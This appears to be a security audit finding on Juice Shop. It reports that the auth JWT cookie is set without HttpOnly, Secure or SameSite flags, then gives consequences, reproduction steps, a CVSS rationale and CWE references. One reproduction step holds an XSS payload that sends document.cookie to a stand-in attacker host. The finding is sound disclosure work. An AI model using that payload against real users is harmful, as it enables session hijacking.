Session token cookie set without httpOnly / secure / sameSite
`res.cookie('token', token)` in updateAuthenticatedUsers writes the auth JWT to a cookie with no security attributes, leaving it readable by injected JavaScript, sent over HTTP, and attached to cross-site requests.
jwt.verify(token, publicKey, (err: Error | null, decoded: any) => {
if (err === null) {
if (authenticatedUsers.get(token) === undefined) {
authenticatedUsers.put(token, decoded)
res.cookie('token', token) // <-- no options
}
}
})
The cookie name token clearly identifies it as the authentication cookie (the same value used by req.cookies.token two lines above). It is written via Express res.cookie(name, value) with no options object, so Express applies its defaults: HttpOnly=false, Secure=false, SameSite unset.
Consequences:
HttpOnlymissing → any XSS on the application readsdocument.cookieand exfiltrates the JWT (Juice Shop has multiple XSS sinks).Securemissing → the cookie is sent in plain text over HTTP, exposing it to network attackers.SameSitemissing → the cookie is attached on cross-site requests, enabling CSRF.- No
maxAge/expires→ behaves as a session cookie tied to the browser lifetime regardless of intended JWT TTL.
- Log in as any user; observe
Set-Cookie: token=<jwt>with no flags. - Trigger any reflected/stored XSS (e.g. the well-known Juice Shop DOM XSS in the search bar) with payload
<img src=x onerror="fetch('//attacker/?c='+document.cookie)">. - The attacker receives the JWT and reuses it to impersonate the victim.
Session theft via XSS, cookie capture over plain HTTP, and cross-site request forgery against authenticated endpoints.
The code at res.cookie('token', token) in updateAuthenticatedUsers passes no options object, so Express applies defaults (HttpOnly=false, Secure=false, SameSite unset) for an authentication JWT cookie. This matches the detector's description exactly: the JWT becomes accessible to document.cookie (XSS theft), sent over plaintext HTTP, and attached to cross-site requests. Per the scope rules, Juice Shop must be evaluated as a real production app, so this is a confirmed insecure-session-cookie issue.
The res.cookie('token', token) call in updateAuthenticatedUsers emits the JWT with HttpOnly/Secure/SameSite all unset, so the bug is exploitable remotely (AV:N) but only when chained with a separate condition — an existing XSS sink, a network MITM on an HTTP hop, or a CSRF-bait page — making AC:H and UI:R appropriate (a victim must browse to the attacker's page or an XSS-tainted view). The attacker themselves needs no account (PR:N); they harvest a victim's token cookie and replay it. Successful theft yields the victim's full JWT, which authenticatedUsers.get(token) and isAuthorized() accept for any action the user can perform, giving C:H/I:H within the same app authority (S:U); no DoS primitive is introduced (A:N).
- CWE-1004
- CWE-614
- CWE-352
- OWASP A05:2021